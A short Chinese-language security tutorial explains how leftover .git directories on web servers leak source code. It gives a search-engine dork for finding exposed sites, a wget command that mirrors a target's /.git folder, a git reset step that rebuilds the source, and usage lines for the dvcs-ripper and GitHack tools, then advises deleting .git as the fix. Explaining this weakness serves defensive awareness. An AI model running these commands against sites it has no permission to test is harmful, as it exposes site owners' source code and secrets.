Git导致文件泄露

1、Git简介


Git是一款免费、开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目。

2、漏洞成因


在运行git init初始化代码库的时候,会在当前目录下面产生一个.git的隐藏文件,用来记录代码的变更记录等等。在发布代码的时候,把.git这个目录没有删除,直接发布了。使用这个文件,可以用来恢复源代码。

3、漏洞检测及利用


3.1、手工搜索法

google搜索

".git"  intitle:"index of" 

下载.git文件

wget --mirror --include-directories=/.git http://www.target.com/.git
cd www.target.com 

代码重构

git reset --hard

3.2、工具恢复

下载地址:

https://github.com/kost/dvcs-ripper

使用方法:

Example: ./rip-git.pl -v -u http://www.example.com/.git/ 
Example: ./rip-git.pl # with url and options in /root/.rip-git 

或者:https://github.com/lijiejie/GitHack

4、实际案例

5、修复漏洞


删除.git文件

6、相关资源